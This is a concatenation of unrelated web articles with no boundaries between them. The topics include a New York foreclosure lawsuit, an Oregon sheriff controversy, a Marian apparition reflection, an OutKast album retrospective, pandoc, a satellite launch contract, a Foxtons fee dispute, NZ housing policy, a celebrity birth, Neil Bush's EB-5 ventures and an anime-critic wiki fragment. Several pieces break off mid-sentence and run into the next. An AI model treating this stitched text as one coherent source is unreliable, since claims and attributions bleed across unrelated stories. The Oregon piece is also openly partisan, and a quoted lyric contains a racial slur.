Opening a new front against the American banking industry, New York sued three of the nation's biggest mortgage servicers over their use of an electronic database that, according to the Empire State, has resulted in widespread deception and fraudulent foreclosure practices.
"The banks created the MERS system as an end run around the property recording system, to facilitate the rapid securitization and sale of mortgages," New York Atty. Gen. Eric Schneiderman said in a statement Friday. "Once the mortgages went sour, these same banks brought foreclosure proceedings en masse based on deceptive and fraudulent court submissions, seeking to take homes away from people with little regard for basic legal requirements or the rule of law."
The banks all declined to comment Friday.
New York's lawsuit also names Virginia-based MERSCorp Inc. and its subsidiary Mortgage Electronic Registration Systems Inc. The mortgage registry company, in a statement, said it would defend itself.
"Federal and state courts around the country have repeatedly upheld the MERS business model and the validity of MERS as legal mortgagee and nominee for lenders," the company said. "We refute the attorney general's claims and will defend the case vigorously in court."
Meanwhile, states' attorneys general continue to negotiate with the banks named in New York's suit, plus Ally Financial Inc. andCitigroup Inc., over a proposed $25-billion settlement regarding alleged foreclosure and mortgage servicing errors that emerged in 2010.
The long-expected deal has stumbled at several points, but individual states have a deadline of Monday to either reject or accept the deal. Schneiderman has previously criticized the talks, arguing that a settlement could shut down his own investigations into mortgage misdeeds of Wall Street leading up to the financial crisis.
The political stakes of the foreclosure talks have risen in recent weeks, with President Obama announcing in last week's State of the Union speech that he would step up efforts to find wrongdoing leading up to the mortgage meltdown. The administration, which has pushed hard for a foreclosure settlement, appointed Schneiderman co-chairman of its new working group to combine efforts by federal and state authorities.
Schneiderman has maintained he will not sign on to any deal he felt would shut down other mortgage-related investigations. A spokesman for Schneiderman declined to comment further Friday.
Geoff Greenwood, a spokesman for Iowa Atty. Gen. Tom Miller, who is leading the foreclosure talks, said the suit would not derail negotiations.
"We don't believe the New York lawsuit against the banks and MERSCorp materially affects our proposed mortgage servicing settlement," Greenwood said.
An additional wild card is whether California will accept the deal. Atty. Gen.Kamala D. Harrisrecently said through a spokesman that the deal was inadequate for California. If it does not sign on, the deal is unlikely to be anywhere near as large as the proposed $25 billion.In the latest development involving the Burns-OR Standoff case, the Oregon Department of Public Safety Standards and Training is asking the state Department of Justice to investigate Grant County Sheriff Glenn Palmer after receiving numerous complaints from the public and others, including dispatchers and the John Day police chief. The Department has released eight separate complaints, including ones from a 911 manager and the John Day police chief, alleging misconduct by Palmer, and raising alarm concerning Palmer's association with leaders of the refuge occupation.
The Department of Justice has been asked to investigate the case, and the licensing agency has warned Palmer that if violations of police standards are found, he could face revocation of his police certification.
According to a one-sided article published by Oregon Live on Thursday, February 18, Palmer has drawn criticism for his association with the armed militants who took over the wildlife refuge and his meeting with some of the occupation leaders:
"I have a great public safety concern when the Grant County sheriff is allowed to openly meet with and be part of this group of lawbreakers," said John Day Police Chief Richard Gray in his complaint.
According to Valerie Luttrell, emergency communications manager for John Day 911:
“Glenn Palmer is viewed as a security leak, not only by local law enforcement staff but by the Oregon State Police and FBI."
The article goes on to list verbatim quotes from anonymous complainants- and does not indicate whether the complainants are associated with or employed by BLM or other interested parties.
The most interesting aspect of the Oregon Live article is what has been ‘intentionally’ left unsaid, unexplained, and plainly omitted. Nowhere in the article is there any mentioning of Sheriff Palmer’s highly public profile since 2013, his history of constitutional activism, or of his being a prime target of a never |
That’s a shame, Marcus said, because it does so much good, too. If you suffer from an unusual disease and can’t find people like you to talk to, Facebook can help with that. Much of the social network’s global impact is good, he argued: “Let’s not just forget all the good that the Facebook platform and its various products bring to the world.”
Still, Marcus acknowledged that Facebook’s role had grown to a point where it couldn’t just wish away the ills of the world.
“When you design a platform that reaches 2 billion people every month, sometimes bad things happen,” Marcus said. “We shouldn’t tolerate those things or let them happen.”
That’s why Facebook is hiring more than a thousand human editors to review ads, he said, despite the fact that such a move goes against the core value of what a “platform” offers: technology at scale.
“I’m absolutely confident that we have the right plan and that we will be able to remediate those things,” Marcus said. It won’t be perfect, he cautioned, but Facebook will try its best.The last living visionary from Beauraing, Belgium died on February 10, 2015. I was not surprised Gilberte Degeimbre’s death elicited no coverage in the United States by Catholic writers or Marian enthusiasts. The thirty-three apparitions of Our Lady to five children in Beauraing are virtually unknown to Catholics in the United States. More common to the United States are Our Lady of Guadalupe, Lourdes, or Fatima, given their liturgical celebrations (December 12, February 11, May/October 13/First Saturdays, respectively) or the 1859 apparition in Champion, Wisconsin which received ecclesiastical approval in 2010.
The death of Gilberte, who I had the privilege of meeting in January 2015, provides an occasion to present the message of Our Lady anew. In the messages, we will not find anything different from other apparitions of Our Lady throughout time; it is the same call to prayer, the sacraments, and conversion of life. As we approach the Lenten season, Our Lady’s message encourages us to live Lent more fully in the spirit of prayer and sacrifice.
The Beginning of the Apparitions
On November 29, 1932, two children from the Voisin family, (Fernande and Albert), went to the nearby school to retrieve their sister, Gilberte. Along the way, the two children stopped at the Degeimbre household to see if their friends, Andree and Gilberte, could join them. The four children left the Degeimbre home and continued on their way to the school. After ringing the doorbell, Albert looked toward the railroad bridge and saw a woman walking in the air near the Lourdes grotto. Albert was not alone in seeing the mysterious woman, as Gilberte Voisin, upon leaving the school, did as well. The children reported seeing the woman again on November 30 and December 1. Our Lady did not convey her first message until December 2 and she continued to appear through January 3, 1933. In the course of the apparitions, Our Lady would reveal her Golden Heart and identify herself as the Immaculate Virgin, Mother of God, and the Queen of Heaven. She also requested the construction of a chapel, because as she stated, she appeared so people would come on pilgrimage.
The Simple Messages
Our Lady appeared to children and spoke very simple messages to them. As we approach the Lenten season, I believe we can see the spirit of Lent through the messages.
Always be good (Dec. 2)
I will convert sinners (Jan. 3)
The first message relayed by Our Lady to the children on December 2 was simple, considered trite by some: “Always be good.” This message coincides well with what Our Lady said in her individual messages to the children during the last apparition on January 3, 1933. To Gilberte Voisin, Our Lady said, “I will convert sinners.”
The conversion of our lives entails being good. It means living a good Christian life, obeying the commandments and loving our neighbor. When we are not good, we recognize this by going to the Sacrament of Penance and seeking out God’s pardon and mercy. Our Lady’s greatest desire in her apparitions throughout time is the conversion of sinners. She wants people to live lives that do not displease her Son. Our Lady’s declaration that she will convert sinners should startle us and call us to greater awareness of the failings in our lives.
Many people who read these words readily accept Our Lady’s apparitions. We go to these holy sites and pray there because of our devotion to Our Lady. But do we allow her message to pierce us the entire way through? Do we allow the message of conversion to sink in totally, that we are willing to experience conversion in thought, word, and deed?
Mary desires to convert sinners, meaning she wants the attitudes of our hearts to change. When we want to speak ill of another, we must realize the need for conversion. When we wish to use curse words—conversion. Our Lady exhorts us to live more consciously of our need every day for conversion. It is not enough to think about conversion; we truly need to change. During our Lenten discipline let us realize the moments that we need conversion and embrace them, so that the words Our Lady speaks, “I will convert sinners,” can be actualized.
Pray. Pray very much. Pray Always.
Our Lady exhorted the children to pray, not once, not twice, but three times and intensified each request. Prayer is communication with God. For many, the word ‘prayer’ is quite limited. We think of prayer as asking God for something or thanking God. These are good places to start, but prayer is meditative and contemplative. It is about conversing with God and listening in the silence of one’s heart for His response. Our Lady wants us to pray because it means we will be in constant relationship with her Son, a constant conversation and dialogue with Jesus. This conversation will begin to guide every moment of our lives, and through that dialogue, we will identify how God wishes for us to be converted.
We are to pray, pray very much, and pray always. Ultimately, we can make our entire day a prayer. This can be done in a simple way each morning by praying a Morning Offering. Our Lady exhorts us to pray—she wants us to pray from the moment we wake to the moment we fall asleep. Each one of us will have to figure out how we can fulfill this request.
Do you love my Son? Do you love me? Then sacrifice yourself for me.
Fernande Voisin received the last words spoken by Our Lady in Beauraing. Mary asked, “Do you love my Son? Do you love me? Then sacrifice yourself for me.” We can make small sacrifices for Our Lord and Blessed Lady by fasting this Lent. But we can sacrifice ourselves in greater ways by serving God in our neighbor. Sacrifice yourself by serving Jesus in the poor, homeless, and the sick. Live the corporal works of mercy. Sacrifice yourself for the good of the other—your spouse, children, and friends. Sacrifice yourself in the vocation you live by emptying yourself of all desires, and filling yourself only with the desires of God. In prayer, when God asks us for conversion, it will mean sacrifice. God will ask us to sacrifice time for prayer. He will ask us to sacrifice things that put up barriers between Him and us. When we sacrifice, we become more fully open and receptive to God’s action in our lives.
Lenten Observation
Our Lenten discipline reminds us of our need for conversion, prayer, and sacrifice. In the apparitions received by the five children of Beauraing, we clearly see these principles. Mary desires the conversion of sinners. As the Mediatrix of Grace, Mary intercedes for the grace of conversion. This Lent, pray for a greater desire to conform your life to Christ. Identify one area to improve. Mary asks us to pray always. How will you pray more this Lent? Consider taking up the recommendation of Pope Francis to read the scriptures and converse with God about them. Mary wants us to make sacrifices. How will you sacrifice yourself this Lent?
Concluding Reflections
During my stay in Beauraing I was struck by the simplicity of Our Lady’s words and the depth of meaning they conveyed. I also had the opportunity to view a documentary about the apparition. When Gilberte Degeimbre (recently deceased visionary) spoke about the apparitions, you could sense the authenticity of what she said. She greatly desired to go home to God. When Gilberte would visit the Hawthorne tree, where Our Lady appeared, she would tell people to close their eyes, because they would see Our Lady better. In death, Gilberte has closed her eyes and she sees again the Queen of Heaven reigning with her Son. Inspired by the example of Gilberte, let us begin to interiorize the message of Our Lady and allow it to take root in our hearts and lives this Lenten season.
External Links:
Interview with Gilberte Degeimbre in French with English Subtitles
Fr. Donald Calloway, MIC is leading a pilgrimage to Beauraing and other holy sitesHi. We recently created AFH TV, Ambrosia For Heads’ streaming video service, because we believe real Hip-Hop deserves its own dedicated TV home, but we need your help to make it great. Please subscribe to AFH TV. It is only $1.99/month or $12/year, and already features some amazing content, but the best is yet to come. Thank you for all of your support.
Hi. We recently created AFH TV, Ambrosia For Heads’ streaming video service, because we believe real Hip-Hop deserves its own dedicated TV home, but we need your help to make it great. Please subscribe to AFH TV. It is only $1.99/month or $12/year, and already features some amazing content, but the best is yet to come. Thank you for all of your support.
True to its extraterrestrial theme, OutKast’s 1996 sophomore album ATLiens was of another world. Like the “Paid In Full” vocal sample proclaimed, André 3000 and Big Boi added “new color, new dimension, and new value” to the mid-’90s Hip-Hop ethos. Arguably, this came at a time when Hip-Hop’s soul needed it the most. Twenty years later, OutKast has proven that they were on the frontier.
To understand ATLiens’ landing, one must remember the album arrivals through August 27, 1996. Tupac Shakur had left prison with a two-piece West Coast Rap classic in All Eyez On Me. Vitriolic, wrathful, and fast-living, those two discs were not unlike the Thug Passion ‘Pac swilled while making it. Like the Hennessy and Alizé cocktail, All Eyez packed a ferocious bite underneath its sweetness—an intoxicating grandiose escape from reality. The Fugees had made an album in The Score that elegantly transported itself through samples, covers, and the dynamic melodic range of the New Jerusalem trio. An underground Hip-Hop group, the Refugees predated Eminem and the Black Eyed Peas in showing just how some (Nappy) Heads could be embraced by the pop masses. Jay Z made Reasonable Doubt, and Nas followed with It Was Written. In both cases, two old school Rap-rooted MCs were fitted with tailor-made sample beats, mafioso imagery, and a strong departure from the artists’ previous pool hall battles and park jams. Put another way, Hip-Hop was winning with cinematic themes and ’70s and ’80s hit retreads (see: “California Love,” “Killing Me Softly,” and “Street Dreams”). Additionally, from Tupac spitting at Biggie, Nas dissing both ‘Pac and Big, and Big dissing ‘Pac on Jay’s album–and a low-key jab of The Fugees aimed at Jeru The Damaja), beef seemed necessary to top the charts.
Andre 3000 Calls Out MCs Who Use Ghostwriters On A New Verse (Audio)
OutKast had no controversy to offer. ‘Dre and Big were the ones who sat back and rather politely accepted their award for “Best New Rap Group” while Death Row and Bad Boy Records stirred the pot at the 1995 Source Awards one August earlier. Even when the crowd booed, 3000 told the entire Paramount Theater (including Dr. Dre, Suge Knight, Snoop Dogg, Puff Daddy, Biggie, Lil’ Kim, Fat Joe, Bone Thugs-N-Harmony, and others), “But it’s like this though: I’m tired of close-minded folks. It’s like we got a demo tape that nobody wants to hear, but the South got somethin’ to say. That’s all I got to say.”
Perhaps Suge, Puffy, and Biggie weren’t the only artists to leave Madison Square Garden’s Paramount Theater on August 3 with a vendetta. In April of ’95, Southernplayalisticadillacmuzik had already earned a platinum plaque—no small feat for a debut. With 54 weeks between those boos and ATLiens, perhaps OutKast built its spaceship, not unlike the one Kanye West would rap about eight years later.
How Organized Noize Created The Atlanta Hip-Hop Sound With OutKast & Goodie Mob
In 1996, everything seemed bright lights, polished, overblown—Rap at its most decadent. The Fugees were shooting videos replicating James Bond spy missions. Nas was recreating Martin Scorsese montages, and ‘Pac and Dre were going Mad Max, with two big-budget videos to alternate mixes of the same hit record. When “Elevators (Me & You)” released in July, OutKast stayed home, quite literally. “’96 can be that year that all you player haters can bite me” touted Daddy Fat Sax, perhaps grabbing his crotch facing the jeering peers from The Source Awards. The single and its video were deeply stripped down. The content was autobiographical OutKast, and it captured the charms and pace of the South in one melodically addictive record. The gold single would go to #12, a stark contrast sonically to records released by De La Soul, Nas, and A Tribe Called Quest of that month. While peers were lifting Zapp, Bob Marley, and Kurtis Blow, OutKast tapped into Rockabilly/Country icon Carl Perkins, in a manner that did not even sound like sampling. If Hip-Hop is the language of the drum, OutKast let their self-produced beat play the backseat to their own vocal instruments.
Rap had started to mimic studio wrestling with its feuds, bouts, and hyped storylines. OutKast’s comic book endeavor was ironically one of the realest in ’96. “Elevators” is a song about everybody coming up, and the group’s video contrasted the pair’s proud Blackness with their own message reaching listeners who could relate beyond race. From graduations, to 10 year-old cars, the song was Southern simplicity—using the planetary imagination.
Outkast’s Stankonia Showed Miss Jackson & The World They Were For Real
A month later, when the album followed the single, things were even more interesting. From a Portuguese prayer-poem at the album’s intro, it was a far cry from the usual commercial Rap theatrics. In the era of rappers killing one another on wax, OutKast looked their own mortality straight in the eye on “You May Die,” which states that there is nothing new under the sun (a sentiment Nas would use later, on “No Idea’s Original”). The evocative moment felt like a prayer before a mission into the unknown—exactly where the Dungeon Family leaders were headed. By Track 2, “Two Dope Boyz (In A Cadillac),” OutKast stated their Rap position with, “in the middle, we stay calm, we just drop bombs.” While the record easily applies to the clashing cultures in Greater Atlanta, Georgia, it also may explain ‘Kast’s place in the genre. While the coasts were packing heavy artillery on wax and to industry events, OutKast stayed quiet, making only their art explosive. The message was sent early on an album that celebrated its poetic license, density, and abstract points of view.
Behind only Pearl Jam, ATLiens landed at #2 on the charts. The LaFace Records release was much more subdued then its ’94 predecessor. Dré, Big, and Mr. DJ produced the would-be first two singles, with Organized Noize taking nine of the 16 tracks (including Rico Wade, Sleepy Brown, and Ray Murray’s take on the single). Despite two producers, the work is incredibly cohesive—with only its deliveries in common with its previous LP.
Big Boi & Killer Mike Are Working On A Joint EP
At a time when the beat was overtaking the typical Rap vocals, ATLiens absolutely had something to say. “Babylon” was an indictment on OutKast’s generational peers. The two soulful MCs pointed to all the distractions in the world (from drugs to guns) that were holding back the people, the message, and the quality of life. The verses did not have the answers, but stated there was nothing cool about being unaware. André 3000 went into deep detail about coming-of-age sexual experiences and his attraction to the female form in the era when “hoochie” and “ho'” owned much of the Rap vernacular (as seen below, Outkast was not above using those, either). If a song could make an artist appear vulnerable when spitting, “Babylon” could be it—without much beat to shield it. Still, ‘Kast complemented the song with “Jazzy Belle.” This was the duo’s take on Brand Nubian’s “Slow Down,” while quietly placing blame both on loose women, and predatory men at once. In each song, the rich background vocals served the tracks beautifully at the chorus.
“Millennium” was another cut that embraced vulnerability. At a time when Tupac had seemingly traded his sensitivity for a brutish stance, ‘Dre and Big Boi made a song completely in their feelings. The record was questioning inward, openly depressed, and exasperated with one’s surroundings. One could argue that this track carved a lane for some of the sorts of song themes later explored by Drake, A$AP Rocky, and Kanye West. OutKast came across as two fully formed people, who were not uniform personalities. More like the first album, Big Boi clung to his fast-talking, fast-loving, joint-smoking player persona stacked with depth. André had come forth as an eccentric, who started to doodle outside of the lines of who he presented in the earlier part of the decade. Reportedly going sober during recording, he was incredibly elevated in his rhyming and production. These aliens were easy to relate to.
Andre 3000, Snoop Dogg & Devin the Dude Got the Job Done & Then Some (Audio)
While ATLiens is dripping with universal themes, these MCs were making powerful Rap industry commentary. Just as André 3000 did in the past week with Frank Ocean’s “Solo (Reprise),” the group poked fun at the wack. “Y’all niggas jokes just like The Joker / I’m sick of these wack-ass rappers like I’m tired of hoes in chokers” chided Big Boi on “Two Dope Boyz.” As Dré and Big proudly illustrated that the world moved slower in the South, they equally proved that rappers delivered their soliloquies with speed. Jay Z, ‘Pac, and Treach had seemingly tapped the brakes with some of their deliveries at the time, while OutKast was flooring it.
The sounds of Rap records at the time of ATLiens was starting to get homogenized. The biggest artists in the culture were taking overt basslines, choruses, and sometimes remaking songs entirely (in the case of the Fugees). Organized Noize and Earthtone Ideas (Outkast & Mr. DJ) approached their music not unlike the Diggin’ In The Crates collective or Pete Rock. The LP samples Quincy Jones, The Commodores, and Parliament. However, those sources are not in-your-face. What was taken, and how it was used, was gentle-handed. Instead, much of the album was fortified by an ensemble in the studios that included Goodie Mob, Witchdoctor, Joi, Jazzyfatnastees, Trina Broussard, and Cool Breeze. There were no major samples or grand guests on ATLiens. This album was rich within its own confines, and as self-contained as any mid-’90s masterpiece.
L.A. Reid is the Man Behind Outkast & TLC. Listen To How It All Came to Be (Audio)
In retrospect, ATLiens is a Southern Rap pinnacle. Joining Scarface’s The Diary and UGK’s Ridin’ Dirty (released less than a month prior) this album basked in its elements. If Hip-Hop embraced the regional iconography of low-riders, towering project houses, bikini-clad women, gang-controlled streets, or Moet in rugged nightclubs, so would Dré and Big. This is the album that would create a lane for Big K.R.I.T., Devin The Dude, and Killer Mike. Just as artists from the East and West had tapped lines into each other’s sounds previous, OutKast’s ATLiens would go on to prove itself deeply influential to Kendrick Lamar, J. Cole, and Ab-Soul.
OutKast has the luxury of a handful of classic albums. ATLiens being the magnum opus is up for heated debate. However, one can easily argue that it was the most forward-thinking album at the most pivotal time. Within nine months of its release, Tupac and Biggie were both dead. The Fugees would be all but disbanded, while Jay Z, Nas, and Snoop Dogg transcended from great MCs to becoming aspirational lifestyle rappers. Despite its success (perhaps due to a million or more of people whose ways of living weren’t otherwise represented in the Rap mainstream), ATLiens never wanted acceptance. Unlike the works that followed, it seemingly ignored what made for sales, radio, or heavy rotation video. Outkast led with skills, message, and three dimensional themes. At a time when the Golden-Era party was soon to end with gunfire and a mass exodus, these intergalactic Everymen created an imaginary world that felt a lot like home. In science fiction, we often can see our flaws, our potential, and most importantly, our souls.About pandoc
If you need to convert files from one markup format into another, pandoc is your swiss-army knife. Pandoc can convert documents in (several dialects of) Markdown, reStructuredText, textile, HTML, DocBook, LaTeX, MediaWiki markup, TWiki markup, TikiWiki markup, DokuWiki markup, Creole 1.0, Vimwiki markup, roff man, OPML, Emacs Org-Mode, Emacs Muse, txt2tags, Microsoft Word docx, LibreOffice ODT, EPUB, Jupyter notebooks ipynb, or Haddock markup to
Pandoc understands a number of useful markdown syntax extensions, including document metadata (title, author, date); footnotes; tables; definition lists; superscript and subscript; strikeout; enhanced ordered lists (start number and numbering style are significant); running example lists; delimited code blocks with syntax highlighting; smart quotes, dashes, and ellipses; markdown inside HTML blocks; and inline LaTeX. If strict markdown compatibility is desired, all of these extensions can be turned off.
LaTeX math (and even macros) can be used in markdown documents. Several different methods of rendering math in HTML are provided, including MathJax and translation to MathML. LaTeX math is converted (as needed by the output format) to unicode, native Word equation objects, MathML, or roff eqn.
Pandoc includes a powerful system for automatic citations and bibliographies, using pandoc-citeproc (which derives from Andrea Rossato’s citeproc-hs). This means that you can write a citation like
[see @doe99, pp. 33-35; also @smith04, ch. 1]
and pandoc will convert it into a properly formatted citation using any of hundreds of CSL styles (including footnote styles, numerical styles, and author-date styles), and add a properly formatted bibliography at the end of the document. Many forms of bibliography database can be used, including bibtex, RIS, EndNote, ISI, MEDLINE, MODS, and JSON citeproc. Citations work in every output format.
There are many ways to customize pandoc to fit your needs, including a template system and a powerful system for writing filters.
Pandoc includes a Haskell library and a standalone command-line program. The library includes separate modules for each input and output format, so adding a new input or output format just requires adding a new module.
Pandoc is free software, released under the GPL. Copyright 2006-2017 John MacFarlane.The DLR German Aerospace Center, OHB SE and Arianespace have announced the signing of a launch contract for Germany’s Heinrich Hertz (H2Sat) technology demonstrator satellite built by OHB System AG.
The satellite will be orbited by an Ariane 5 heavy-lift launcher from the Guiana Space Center, Europe’s Spaceport in Kourou, French Guiana, between mid-2021 and the end of 2022.
As a technology demonstrator for the German national space program, the H2Sat mission is designed to support the development and testing of new space communications technologies and transmission schemes. Heinrich Hertz’s communications payload showcases technology that can make satellites more adaptable to changing needs on the ground.
The satellite is named after German physicist Heinrich Rudolf Hertz, who proved the existence of electromagnetic waves, which includes radio waves.
H2Sat will be used to test or flight-qualify some 20 different components or subassemblies, new technologies and transmission schemes developed by German industry and the scientific community. It also will carry a military communications system to be used by the Bundeswehr (the federal armed forces of Germany).
Built by OHB System AG in Bremen, H2Sat is based on the company’s SmallGEO platform, developed through the European Space Agency’s ARTES 11 program. It will weigh 3,450 kg and will be launched on an Ariane 5. The satellite will be transferred to a geostationary orbit.
Commenting on this latest contract, Arianespace Chief Executive Officer Stéphane Israël said: “With this new contract for Ariane 5, we are honored by the trust placed in us by the DLR. With the H2Sat mission, which features the most advanced satellite technologies, Arianespace is proud to serve the space program ambitions of Germany – a key country in the Ariane 5 and Ariane 6 programs. It also is with great satisfaction that we extend our partnership with OHB SE through this contract. We also are proud to participate, along with H2Sat, in the realization of the results from ESA’s ARTES 11 program, which aims at placing Europe at the top of innovative space telecommunication systems.”
About Arianespace
Arianespace uses space to make life better on Earth by providing launch services for all types of satellites into all orbits. It has orbited more than 560 satellites since 1980, using its family of three launchers, Ariane, Soyuz and Vega, from launch sites in French Guiana (South America) and Baikonur, Kazakhstan.
Arianespace is headquartered in Evry, near Paris, and has a technical facility at the Guiana Space Center, Europe’s Spaceport in French Guiana, plus local offices in Washington, D.C., Tokyo and Singapore.
Arianespace is a subsidiary of ArianeGroup, which holds 74% of its share capital, with the balance held by 17 other shareholders from the European launcher industry.Shocked: Dr Chris Townley was charged a commission and fees by Foxtons for the light fitting to be replaced
Stock market listed estate agent Foxtons could face a legal bill of as much as £42million after charging a landlord a total of £616 to change a light fitting.
In what could be the most costly light replacement in history, solicitors believe the dispute could lead to Foxtons being sued by thousands of landlords regardless of whether they have had work carried out at their properties.
Foxtons used a subcontractor called Maintenance1st to do the work. Dr Chris Townley was billed £550 plus £66 VAT, but he later found that the subcontractor had charged much less.
Dr Townley, a law lecturer at King’s College London, signed up with Foxtons to let and manage his London property in 2011.
In 2013, he was sent a bill for the repair, but he demanded a refund after complaining that the work was substandard. Maintenance1st disputed this and did not refund Dr Townley.
The estate agent had reluctantly put him in touch with Maintenance1st, which told him its charge for the work was £412.50.
When challenged on the difference, Foxtons admitted it had added a £137.50 commission – 33 per cent of the subcontractor’s fee. Dr Townley also discovered that Maintenance1st had paid Foxtons an undisclosed commission for undertaking the work.
Additionally, Foxtons had charged Dr Townley an ‘ad hoc management charge’ of 10 per cent plus VAT because the invoice was over £500 despite the fact that the only reason it exceeded this sum was because of Foxtons’ 33 per cent fee.
In total, Dr Townley had to pay Foxtons fees of £203, which was a 49 per cent mark-up on the original £412.50 invoice.
Leigh Day solicitors has served the estate agent with a letter of claim, which is sent prior to the beginning of legal proceedings, alleging the ‘hidden commission’ was not covered in the landlord’s contract.
Allegations: Stock market listed estate agent Foxtons could face a legal bill of as much as £42million after charging a landlord a total of £616 to change a light fitting
It says thousands of other landlords will also be entitled to compensation from Foxtons and it believes claims could reach £42 million.
Dr Townley said: ‘When I first heard there was a commission I was not happy, but thought it may be 2 or 3 per cent. When I found out the real amount I thought it was shocking.’The Labour Party is pledging more state intervention to deliver affordable housing, including a dedicated new agency.
Photo: 123rf
The proposed Affordable Housing Authority would co-ordinate buying land, including Crown land, and would partner with councils, iwi and private developers to create housing developments.
Party leader Andrew Little this afternoon told an audience in the Auckland suburb of New Lynn that half of the houses built in the new developments would be affordable ones under the party's Kiwibuild programme.
A total of 10,000 new houses would be built each year over a decade, half in Auckland.
Photo: RNZ/ Todd Niall
"The houses will be in great communities, with modern design and infrastructure as well as parks, shopping centres and transport links," Mr Little said in a statement.
"These homes won't be palaces. But they will be modern, warm, and affordable, first homes to help people get a foot on the housing ladder."
Labour would abolish Auckland's urban growth boundary.
Stating that Labour is "the party of home ownership", Mr Little said: "When you don't have enough houses, you bloody well build more! That's how you fix this crisis."
Labour would also crack down on speculators, extending from two to five years the period in which the re-sale of investment houses would be subject to a capital gains tax.
Labour would also extend the bright line test "so that if you sell an investment property within five years, you'll pay the full tax on it.
"We urgently need to crack down on the speculators who are driving up prices. I have no sympathy for speculators or land-bankers who are just in the market for a quick buck, not when families are missing out.
"We will ban offshore speculators from the market, unless they are willing to build a new home and add to our housing stock."
Labour would also consult on ending negative gearing, which Mr Little said was "effectively a taxpayer subsidy for speculation."
Labour's announcement included three main elements:
100,000 new affordable homes for first home buyers, half of them in Auckland
An Affordable Housing Authority to cut through red tape
A tax on speculators by extending the bright line test to five years
The Affordable Housing Authority would work with developers and use fast-tracked consenting to get on with building, Mr Little said.
"New Zealanders don't have time to wait and hope National will bumble their way into a solution. We've got to change the government."Joanna Newsom and Andy Samberg have welcomed their first child, a baby girl. Samberg’s representatives confirmed the news to Us Weekly. The couple have kept Newsom’s pregnancy private, and, as of now, have not revealed the name of the child or any more information. Pitchfork has reached out to her representatives for comment. Newsom married the “SNL” star and Lonely Island musician in 2013 after dating for five years. In a recent interview, Samberg said, “It’s kind of like a weird music fan dream come true that we have been so in love, because I get to hear her play harp all the time.” Congratulations to the happy couple!
In slightly less momentous Newsom news, all of her music is now available to stream on Apple Music, via Drag City’s recent move to the streaming service. Check out Pitchfork’s guide to the label’s best releases.
Watch the Lonely Island on Pitchfork.tv’s “Over/Under”:Neil Bush, the younger brother of George W. and Jeb Bush, recently left his position at a Texas company he founded that helps wealthy foreigners obtain green cards, the same type of venture that recently put Hillary Clinton’s younger brother, Tony Rodham, in the spotlight.
While Rodham’s involvement in U.S. Customs and Immigration Services’ (USCIS) EB-5 visa program was already known, Bush’s has so far fallen under the radar. But it is further evidence that the politically-connected, including the siblings of high-profile politicians, appear to be a big draw in the investment-for-visa industry.
President Obama’s half-brother, Mark Obama-Ndesandjo, has also been approached by firms seeking EB-5 investors.
Bush is the founder and retired chairman of the Great Texas Regional Center. His bio on the center’s website says that “he is proud to promote two of his father’s legacies.” That legacy includes “building closer relations between China and the United States and encouraging citizen service,” the bio reads.
According to Texas state corporate filings, Great Texas Regional Center became incorporated on Nov. 16, 2010. Bush is listed as the company’s registered agent. The regional center applied for USCIS’ EB-5 Immigrant Investor Pilot Program less than a week later, on Nov. 22, 2010. USCIS approved the application on Dec. 13, 2011.
An employee at Great Texas Regional Center told The Daily Caller that Bush retired from his position there late last year. Asked if that decision was tied to Jeb Bush’s likely presidential bid, the employee declined to comment. A request for comment from Jeb Bush’s Right to Rise PAC was not returned.
With offices in Houston and Beijing, Texas regional center is one of about 400 approved by USCIS to seek out EB-5 investors. The EB-5 program, which started in 1990, allows foreign investors to gain visas for themselves and their families if they invest at least $500,000 in U.S. companies. In return, the privately-run regional centers, which often partner with local developers, are required to create at least 10 jobs.
Approximately 11,000 EB-5 visas were awarded last year, largely to Chinese investors. That is up from the 6,000 visas issued in 2013.
Bush is also on the board of directors at the San Francisco-based American Pacific International Capital (APIC). In Aug. 2010, the company formed APIC Regional Center to seek out EB-5 visa investors. It also registered with a lobbyist, though records show that the firm did not lobby Congress or federal agencies.
On one brochure, APIC promised to create between 2,000 and 3,000 jobs through construction projects in Portland, Ore. over the course of three years.
One of Bush’s EB-5 pitches on behalf of the Great Texas center sheds light on what many believe is one of the visa program’s flaws.
According to a report from a Mexican newspaper in Nov. 2013, Bush gave a presentation to Mexican investors about Aura Cedar Springs apartment complex development in the Dallas area. Bush reportedly told the prospective investors that his family name would increase the odds of them obtaining a green card.
TheDC could not independently verify that report. Bush did not respond to an emailed interview request. Carlos Rosas, a Houston-based attorney mentioned in the article, also did not respond to a request for comment.
In exchange for their $500,000 stake, Bush reportedly told investors that if they signed up for the investment on the spot, they would receive a two percent return on their investment two years into the project. It is unclear how many investors Bush signed up, if any. The Aura Cedar Springs project will soon break ground.
Bush also pitched potential EB-5 investors at the Luxury Property Showcase (LPS) in Shangai in Dec. 2013. The event was described as invitation-only and open to “selected Chinese VIPs.”
“Our participation in LPS was very helpful in developing our network leading to potential investors in China,” Bush said after the convention, according to a report at the time. “LPS is a great platform for international real estate companies to interact with targeted Chinese investors and the show was very well organized and professionally managed. I was very happy to be there and look forward to joining LPS again in the future to further develop our network in China.”
The younger Bush’s involvement with companies that essentially allow foreigners to buy visas (after going through FBI background checks) comes as his brother is poised to run for president. Jeb Bush, the former governor of Florida, is considered by many to be a favorite to |
, where he tends to cause issues because of his strong opinions.
Noteable works
Digibro / Digi Does Anime
Asterisk War Sucks is the followup to Digibro's rather successful series on Sword Art Online and Sword Art Online II. With Asterisk War being the third series from studio A1-Pictures being heavily criticised by Digibro in a multiple long-form episodes format, and after having been quoted on several occasion for stating that he had "an hate boner for A1-Pictures" and that he "loves to hate A1-Pictures", he grew more and more notorious for being highly biased towards A1-Pictures, and many even considered him "too emotionally invested" to criticise any show done by A1-Pictures. Although not backing up on his claims, Digibro has said that it is more a case of A1-Pictures having a consistent low quality, but that there are actually a few shows from the studio that he has enjoyed.
The Asterisk War Sucks [Part 1] The Asterisk War Sucks [Part 2] The Asterisk War Sucks [Part 3] The Asterisk War Sucks [Part 4] OR, What Are Cliche Characters? (and why do they suck?) The Asterisk War Sucks [Part 5] The Asterisk War Sucks [Part 6] OR, How To Screw Up A Sci-fi Setting The Asterisk War Sucks [Part 7] OR, Building the Worst Protagonist Ever The Asterisk War Sucks [Part 8] The Asterisk War Sucks [Part 9] or, How A1 Pictures Gets Away With It The Asterisk War Sucks [Part 10] or, Cute Girl With Sword Just Doesn't Cut It The Asterisk War Sucks [Part 11] or, How To Screw Up A Tournament Arc The Asterisk War Sucks [Part 12a]: Chivalry of a Failed Knight Doesn't Suck? The Asterisk War Sucks [Part 12b]: Chivalry of a Failed Knight Doesn't Suck!
Digibro
